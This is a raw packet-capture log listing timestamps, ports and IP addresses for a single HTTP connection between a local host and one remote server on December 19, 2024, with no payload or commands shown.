Dec 19, 2024 08:01:04.695992947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.696005106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.696043015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.697367907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.697419882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.697432041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.697462082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.697513103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.698034048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.698091984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.698308945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.698551893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.698586941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.698622942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.698656082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.699418068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.699470043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.699474096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.699510098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.699559927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.700345993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.700422049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.700458050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.700473070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.702145100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.702259064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.702292919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.702299118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.702718973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.702970982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703005075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703058004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703073978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.703377008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703433037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703466892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.703469992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.703689098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.704245090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.704351902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.704387903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.704405069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.705702066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.705770016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.705817938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.705853939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.705904961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.706208944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.706264019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.706299067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.706320047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.707101107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.707155943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.707197905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.707302094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.707570076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.708050966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.708110094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.708144903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.708189011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.708978891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709065914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709067106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.709100962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709153891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.709863901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709919930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709954977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.709966898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.710819960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.710875988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.710880995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.710911989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.710959911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.711750984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.711822033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.711858034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.711920977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.712739944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.712791920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.712798119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.712829113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.712878942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.713673115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.713728905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.713762045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.713785887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.714636087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.714689970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.714693069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.714725018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.714833975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.715593100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.715646029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.715681076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.715725899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.716516018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.716559887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.716568947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.716604948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.716650009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.717505932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.717540979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.717577934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.717581987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.718427896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.718481064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.718483925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.718521118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.718564987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.719398975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.719454050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.719490051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.719505072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.720391035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.720424891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.720448971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.720460892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.720828056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.721268892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.763762951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.847559929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.847625971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.847681046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.847692013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.848012924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.848064899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.848069906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.848107100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.848156929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.848998070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.849034071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.849069118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.849117994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.849890947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.849945068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.849966049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.850003004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.850050926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.850841999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.850935936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.850984097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.884937048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885082960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885119915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885135889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.885422945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885478973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885485888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.885514021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.885641098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.886373043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.886428118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.886461973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.886512995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.887355089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.887413025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.887443066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.887448072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.887578964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.888235092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.888314009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.888349056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.888391018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.889287949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.889323950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.889354944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.889358044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.889437914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.890301943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.890360117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.890393972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.890423059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.891091108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.891139030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.891146898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.891181946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.891232014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.892025948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.892095089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.892131090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.892179012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.893068075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.893171072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.893204927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.893222094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.893254042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.894201040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.894236088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.894272089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.894299984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.895204067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.895385027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.895420074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.895442963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.895473003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.896126986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.896182060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.896214962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.896238089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.896965981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.897000074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.897036076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.897051096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.897082090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.897888899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.897993088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.898026943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.898057938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.898709059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.898762941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.898797035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.898818970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.898844957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.899677038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.899732113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.899766922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.899791956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.900620937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.900655031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.900690079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.900731087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.900767088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.901542902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.901602983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.901637077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.901678085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.902566910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.902620077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.902632952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.902658939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.902786970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.903503895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.903558016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.903592110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.903642893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.904527903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.904562950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.904594898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.904598951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.904741049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.905349970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.905426979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.905462027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.905492067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.906308889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.906364918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.906378031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.906400919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.906445980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.907272100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.907342911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.907377958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.907417059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.908211946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.908257008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.908291101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.908325911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.908377886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.909244061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.909281015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.909317970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.909673929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.910108089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.910166979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.910187006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.910223007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.910351992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.911068916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.911123991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.911158085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.911204100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.912055969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.912111998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.912117004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.912146091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.912193060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.912938118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.912993908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.913047075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.913053989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.966893911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.039961100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040036917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040077925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040096045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.040226936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040277958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.040283918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040342093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.040389061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.041193962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.041260958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.041297913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.041306973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.042237997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.042298079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.042301893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.042337894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.042385101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.043220997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.043284893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.043487072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.077193975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077231884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077245951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077423096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.077656984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077702045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077714920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.077735901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.077758074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.078706026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.078723907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.078749895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.078768015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.079583883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.079600096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.079613924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.079638004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.079664946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.080493927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.080530882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.080543995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.080574036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.081444979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.081501961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.081509113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.081521034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.081552029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.082360983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.082418919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.082432032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.082470894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.083359957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.083390951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.083405018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.083415985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.083442926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.084323883 CET	80	49739	194.87.47.113	192.168.2.9
